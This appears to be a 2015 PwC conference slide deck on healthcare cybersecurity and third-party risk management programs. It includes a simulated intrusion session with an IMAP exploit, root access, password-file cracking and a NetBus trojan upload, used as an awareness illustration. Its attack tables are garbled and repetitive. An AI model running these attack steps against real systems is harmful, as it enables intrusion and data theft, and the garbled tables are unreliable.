Cybersecurity & Vendor Risk Management

What You Don’t Know May Be Hurting You

HCCA Mid-Central Conference
November 6, 2015

Presenters

Mick Coady
Partner, PwC
Health Industries Cybersecurity & Privacy Practice
mick.coady@pwc.com

Jim McKenzie – CIPP, CCSFP
Manager, PwC
Health Industries Cybersecurity & Privacy Practice
James.f.mckenzie@pwc.com
Objectives:

During this session we will be covering the following topics:

• A first-hand view of a cybersecurity breach
• Lessons learned from cybersecurity violations and subsequent remediation
• How to assess your vendor risk management program and identify opportunities for improvement
Hacker Wants $10M Ransom for Stolen Virginia Private Patient Data

On April 30th, an unidentified individual, or group, hacked into the Virginia Prescription Monitoring Program’s Web site, WikiLeaks first reported Sunday. A full week after the hack occurred, the perpetrator is still holding hostage the private data of over 8 million Virginia patients.

The party responsible for this security breach didn’t hack into the prescription-drug-abuse-tracking site for fun, either. The hacker, or hackers, posted a ransom note on the Web site that, according to WikiLeaks, read:

I have your [expletive]! In *my* possession, right now, are 8,257,378 patient records and a total of 35,548,087 prescriptions. Also, I made an encrypted backup and deleted the original. Unfortunately for Virginia, their backups seem to have gone missing, too.

Oh :(For $10 million, I will gladly send along the password.)

A Total Novice Can be a Hacker Today

Attack Sophistication vs. Intruder Technical Knowledge

<table>
<thead>
<tr>
<th>Intruder Knowledge</th>
<th>Attack Sophistication</th>
</tr>
</thead>
<tbody>
<tr>
<td>High</td>
<td>Low</td>
</tr>
<tr>
<td></td>
<td>packet spoofing</td>
</tr>
<tr>
<td></td>
<td>snifgers</td>
</tr>
<tr>
<td></td>
<td>sweepers</td>
</tr>
<tr>
<td></td>
<td>back doors</td>
</tr>
<tr>
<td></td>
<td>disabling audits</td>
</tr>
<tr>
<td></td>
<td>exploiting known vulnerabilies</td>
</tr>
<tr>
<td></td>
<td>self-replicating code</td>
</tr>
<tr>
<td></td>
<td>password guessing</td>
</tr>
<tr>
<td></td>
<td>brute forcing</td>
</tr>
<tr>
<td></td>
<td>hijacking</td>
</tr>
<tr>
<td></td>
<td>sessions</td>
</tr>
<tr>
<td></td>
<td>GUI</td>
</tr>
<tr>
<td></td>
<td>automated probes/scans</td>
</tr>
<tr>
<td></td>
<td>distributed attack tools</td>
</tr>
<tr>
<td></td>
<td>www attacks</td>
</tr>
<tr>
<td></td>
<td>network mgmt. diagnostics</td>
</tr>
<tr>
<td></td>
<td>“stealth” / advanced scanning techniques</td>
</tr>
<tr>
<td></td>
<td>Auto Coordinated</td>
</tr>
</tbody>
</table>

Tools

<table>
<thead>
<tr>
<th>Auto Coordinated</th>
<th>Cross site scripting</th>
</tr>
</thead>
<tbody>
<tr>
<td>“stealth” / advanced scanning techniques</td>
<td>packet spoofing</td>
</tr>
<tr>
<td>denial of service</td>
<td>snifgers</td>
</tr>
<tr>
<td>automated probes/scans</td>
<td>sweepers</td>
</tr>
<tr>
<td>distributed attack tools</td>
<td>back doors</td>
</tr>
<tr>
<td>www attacks</td>
<td>disabling audits</td>
</tr>
<tr>
<td>network mgmt. diagnostics</td>
<td>exploiting known vulnerabilies</td>
</tr>
<tr>
<td>“stealth” / advanced scanning techniques</td>
<td>self-replicating code</td>
</tr>
<tr>
<td>“stealth” / advanced scanning techniques</td>
<td>brute forcing</td>
</tr>
<tr>
<td>“stealth” / advanced scanning techniques</td>
<td>hijacking</td>
</tr>
<tr>
<td>“stealth” / advanced scanning techniques</td>
<td>sessions</td>
</tr>
<tr>
<td>“stealth” / advanced scanning techniques</td>
<td>GUI</td>
</tr>
<tr>
<td>“stealth” / advanced scanning techniques</td>
<td>automated probes/scans</td>
</tr>
<tr>
<td>“stealth” / advanced scanning techniques</td>
<td>distributed attack tools</td>
</tr>
<tr>
<td>“stealth” / advanced scanning techniques</td>
<td>www attacks</td>
</tr>
<tr>
<td>“stealth” / advanced scanning techniques</td>
<td>network mgmt. diagnostics</td>
</tr>
<tr>
<td>“stealth” / advanced scanning techniques</td>
<td>“stealth” / advanced scanning techniques</td>
</tr>
</tbody>
</table>
**Common threats**

**Threats**

- Hackers – “Script Kiddies”
- Employees – former and disgruntled
- Domestic Competitors – “Competitive Intelligence”
- State Sponsored & Corporate Espionage
- Extremists – Earth Liberation Front (ELF)

**Anatomy of an Attack**
Anatomy of Attack
Modis Operandi

Physical Penetrations
Company Profiling – Open Source Research
Footprinting – Scanning –
  Enumeration – Penetration –
  Escalate Privilege –
  Stealing/Damaging Corp. information
Trojans – remote controlling systems
Buffer Overflows

Known Exploits
Port Redirection of Packets
Zone Transfers
SNMP Sweeps
Router Exploitation
Key Loggers – Software and Hardware devices
Denial of Service

Anatomy of Attack
Physical Penetrations

- Surveillance
- Dumpster Diving
- Impersonation of Authorized Personnel
hacker: -$ telnet mail.bigwidget.net 25
Trying 10.1.1.10 ...

Connected to mail.bigwidget.net
Escape character is '^]'.

Connection closed by foreign host.
hacker: -$ telnet mail.bigwidget.net 143
Trying 10.1.1.10 ...

Connected to mail.bigwidget.net.
* OK bigwidget IMAP4rev1 Service 9.0(157) at Wed, 14 Oct 1998 11:51:50 -0400 (EDT)
(Report problems in this server to MRC@CAC.Washington.EDU)
.
logout

* BYE bigwidget IMAP4rev1 server terminating connection
 . OK LOGOUT completed

Connection closed by foreign host.
hacker ~$ ./imap_exploit mail.bigwidget.com
IMAP Exploit for Linux.
Author: Akylonius (aky@el8.org)
Modifications: p1 (p1@el8.org)
Completed successfully.
hacker ~$ telnet mail.bigwidget.com
Trying 10.1.1.10...
Connected to mail.bigwidget.com.
Red Hat Linux release 4.2 (Biltmore)
    Kernel 2.0.35 on an i486
login: root
bigwidget:~# whoami
root
bigwidget:~# cd /etc
127.0.0.1 localhost localhost.localdomain
    10.1.1.9 thevault medical records
    10.1.1.11 fasttalk PACS
    10.1.1.12 geekspeak engineering
    10.1.1.13 people human resources
    10.1.1.14 thelinks finance
    10.1.1.15 thesource information systems

bigwidget:~# cd /data/creditcards
bigwidget:~# cat visa.txt
bigwidget:~# crack /etc/passwd
Cracking /etc/passwd...
Connected to thesource
220 thesource Microsoft FTP Service (Version 4.0).
Name: jsmith
331 Password required for jsmith.
Password: ********
230 User jsmith logged in.
Remote system type is Windows_NT.

HCCA Mid-Central Conference November 6, 2015 PwC

Allan B. Smith 6543-2223-1209-4002 12/99
Donna D. Smith 6543-4133-0632-4572 06/98
Jim Smith 6543-2344-1523-5522 01/01
Joseph L. Smith 6543-2356-1882-7532 04/02
Kay L. Smith 6543-2390-1972-4532 06/03
Mary Ann Smith 6543-8933-1332-4222 05/01
Robert F. Smith 6543-0133-5233-3332 05/99

bigwidget:~# crack /etc/passwd
Connected to thesource
220 thesource Microsoft FTP Service (Version 4.0).
Name: jsmith
331 Password required for jsmith.
Password: ********
230 User jsmith logged in.
Remote system type is Windows_NT.
ftp> cd \temp
250 CDW command successful.
ftp> send netbus.exe
ftp> local: netbus.exe remote: netbus.exe
200 PORT command successful.
150 Opening BINARY mode data connection for netbus.exe
226 Transfer complete.
ftp> quit

thevault:$ telnet thesource
Trying 10.1.1.15.
Connected to thesource.bigwidget.com.
Escape character is \}'.
Microsoft (R) Windows 2000
Welcome to MS Telnet Service
Telnet Server Build 5.00.98217.1
jsmith login:
password: ********
*=================================================================
Welcome to Microsoft Telnet Server.
*=================================================================
cd \temp
C:\TEMP> netbus.exe
Greetings Bigwidget employees:

I have officially compromised your entire system, and have obtained all of your accounting information.

Yours Truly,

Friendly Hacker
Lessons Learned

Impacts of Cyberattack and Breaches

- Security and data breach response has been a security and compliance activity – it’s starting to become a board level and audit committee issue
- The industry has faced regulatory scrutiny for data loss / breaches previously; however these cybersecurity attacks are significantly different in their objectives, execution and impact. For instance these new cyber attackers are:
  - Seeking PHI/PII data for resale on black market for fraudulent access to healthcare products and services (i.e. Medicare, which is not reimbursable)
  - Targeting intellectual property including clinical trial data for new pharmaceuticals
  - Utilizing sophisticated threat actors with exceptional technical skills and experience
  - Employ advanced persistent threats to avoid detection and propagate your network seeking valuable information including intellectual property, trade secrets, etc.
- While some companies are thinking about proactive actions and some will operate reactively; PwC belief is to lead your response with a business impact based approach

Risks

- Financial: fines, remediation, cost to defend
- Reputational: brand impact, loss of confidence
- Regulatory: active regulators, increasing enforcement
- Legal: lawsuits, class action
- Compliance: evolving domestic & international laws
- Contractual: compliance with “promises” made – yours and your vendors/third parties
Keeping pace with the new reality – Key considerations

Operating in the global business ecosystem requires you to think differently about your security program and investments.

Engage and commit with the business
- Leadership, ownership, awareness and accountability for addressing the cyber-risks that threaten the business
- Alignment and enablement of business objectives

Rationalize and prioritize investments
- Critical assets are constantly evaluated given they are fundamental to the brand, business growth and competitive advantage
- Threats and impact to the business are considered as investment activities are contemplated

Transform and execute the security program
- New and enhanced capabilities are needed to meet the ever changing cybersecurity challenges
- A comprehensive program must be built on a strong foundation and include proactive coordination and collaboration with the business
- The security implications related to the convergence of Information Technology, Operational Technology and Company Products and Services are addressed

Recap of key points to consider

1. **The global business ecosystem has changed the risk landscape**
   - Business models have evolved, creating a dynamic environment that is increasingly interconnected, integrated, and interdependent – necessitating the transformation of your security practices to keep pace.

2. **Focus on securing high value information and protecting what matters most**
   - Rather than treating everything equally, you should identify and enhance the protection of your “crown jewels” while maintaining a consistent security baseline within their environment.

3. **Know your adversary – motives, means, and methods**
   - Sophisticated adversaries are actively exploiting cyber weaknesses in the business ecosystem for economic, monetary or political gain – requiring threat intelligence, proactive monitoring and deep response capabilities.

4. **Embed cybersecurity into board oversight and executive-level decision making**
   - Creating an integrated, business aligned security strategy and program requires awareness and commitment from the highest executive levels of the organization – in order to apply the appropriate resources and investments.
**Third Party Risk Management**

Third Party Risk Management (TPRM) is focused on understanding and managing risks associated with third parties, with which the company does business or shares data.

### Strategic Risk Assessment
- Third Party Risk Management Program
- Third Party due diligence
- Contracting decision
- Contracting
- Ongoing monitoring
- Relationship exit

### Third Party Risk Management Program

- **Strategic**
  - New Products and Markets
  - IP protection
  - Business model
  - Brand Value
  - Fraud

- **Operational**
  - Physical security
  - Business continuity
  - Disaster recovery
  - Operational Competency

- **Financial**
  - Credit risk
  - Financial viability
  - Third Party payments
  - Transaction Processing

- **Compliance**
  - GLBA
  - FedRAMP
  - HIPAA
  - Sarbanes-Oxley
  - PCI

- **Reputational**
  - Customer facing activities
  - Brand value
  - Number of Customers impacted

- **Technology**
  - Security
  - Availability
  - Processing Integrity
  - Confidentiality
  - Privacy
  - Change Management

### Relationship Lifecycle
- Customers
- Business Channels
- Marketing Partners
- Joint Ventures
- Suppliers
- Third Parties

### Risk Environment
- Customers
- Reputational
- Service providers
- Technology
**Why is TPRM relevant?**

Based on the results of the 2016 Global State of Information Security Survey (GSISS), our clients continue to experience an increased number of third party related breaches and very few have programs in place which effectively manage third party risk. Additionally, there is an increasing view by many regulators that “best efforts” around TPRM are not good enough.

**Estimated likely source of incidents**

| Source: PwC 2016 Global State of Information Security Survey |

**What is our TPRM framework?**

A robust TPRM program is based on adoption of key building blocks, and successfully linking the program strategy, policies and processes together. We can help our clients assess their current state programs and develop a road map for designing, building, and optimizing their current programs.
TPRM Framework Description

Governance is established to clarify the organizational framework and governance model under which supplier risk management activities are evaluated. This includes reporting structure, defined and communicated roles and responsibilities, organizational coverage of the program and interactions with stakeholders external to the program.

Governance, Program Management, TPRM Operational Processes, Policies, Procedures and Guidelines, and Metrics and Reporting Requirements exist to support day-to-day oversight of the TPRM Program and operational component to manage risk management activities and risk tolerance levels and integration points with other supplier and risk management functions exist to ensure consistency and quality in program activities.

The TPRM Strategy provides overall direction for the requirements and activities of the Third Party Risk Management function and supporting roles.

Program Management provides the day-to-day oversight of the functioning program, ensuring that all key stakeholders are performing their roles as required, and providing corrective actions when programs areas need attention.

Metrics and Reporting Requirements exist for risk assessment activities and program operational components to ensure data quality and accuracy and audience-specific reporting.

Systems and Technology Drive groups to share common risk management processes, which enhances the effectiveness and efficiency of the supplier risk management program.

Change Management and Continuous Process Improvement establishes the foundation for effective adoption of the program across the enterprise and for incorporating continuous program improvement through stakeholder feedback.

TPRM Framework Description

Communications, Training and Awareness drives a coordinated channel to inform stakeholders of the supplier risk function and the business value of the program.

The TPRM Framework drives audience-specific reporting and the processes to identify control deficiencies and mitigate risks introduced through third party products or services.

Strongly recommended:
- **TPRM Operational Processes** to identify control deficiencies and mitigate risks introduced through third party products or services.
- **Policies, Procedures and Guidelines** to define program level requirements, program operational components to ensure data quality and accuracy and audience-specific reporting.
- **Change Management and Continuous Process Improvement** to establish the foundation for effective adoption of the program across the enterprise and for incorporating continuous program improvement through stakeholder feedback.

HCCA Mid-Central Conference
PwC

Foundations of a Successful TPRM Program

A successful TPRM program requires the integration of the following components, across organizational lines:

- **A complete and comprehensive third party INVENTORY that provides a holistic view of the vendor relationships across the organization, and the access being granted to Enterprise information and the internal environment.**

- **A STRATEGY AND GOVERNANCE model that provides the foundation and oversight of the TPRM Lifecycle and all program elements.**

- **A formalized RISK ASSESSMENT process to identify control deficiencies and mitigate risks introduced through third party products or services.**

- **A standardized ISSUE MANAGEMENT processes to categorize, evaluate, manage, and report on any risk and compliance issues identified during the vendor relationship lifecycle.**

- **A risk stratification process that categorizes third parties based on the risk to the organization, and applies different control requirements and risk management activities accordingly.**

- **TECHNOLOGY and tools to enable the automation of TPRM reporting and the processes and controls that support risk management activities.**

- **A CHANGE MANAGEMENT function to facilitate program growth and adaptation, and to manage and communicate program changes across the organization.**

An enterprise-wide TPRM POLICY that unifies the key objectives throughout the TPRM Lifecycle.

Targeted and comprehensive TRAINING AND AWARENESS to inform internal stakeholders of the vendor risk function, the business value of the program, and individual roles and responsibilities.

HCCA Mid-Central Conference
PwC

November 6, 2015
**Key TPRM Program Components**

A successful TPRM program should be built around the following considerations:

- A comprehensive **INVENTORY** should identify risk ranking, data elements, systems, type and level of access, contract value and contact information.
- Safeguards and processes should also be in place to protect the inventory and database used to track third-party relationships accessing to the internal environment.

- The **RISK ASSESSMENT** framework should be aligned with the organization’s procurement process and timeline. The outcomes of TPRM risk assessments should inform contracting decisions.
- A formal **STRATEGY** and roadmap should outline the organization’s long-term commitment to implement a comprehensive third party risk management program. Additionally, a **GOVERNANCE** framework and operating model should outline program oversight and focus on engagement across all lines of business.
- **TRAINING AND AWARENESS** creates a coordinated channel to inform stakeholders of the vendor risk function, the business value of the program, and individual roles and responsibilities.

- A **RISK STRATIFICATION** framework should categorize third party service providers and provide a risk ranking based on:
  - Contract value
  - Business impact
  - Sensitive data
  - Access to internal environment
  - Legal and regulatory impact
  - Potential disruption to critical functions

**Q&A**

© 2015 PricewaterhouseCoopers LLP, a Delaware limited liability partnership. All rights reserved. PwC refers to the US member firm, and may sometimes refer to the PwC network. Each member firm is a separate legal entity. Please see www.pwc.com/structure for further details. This content is for general information purposes only, and should not be used as a substitute for consultation with professional advisors.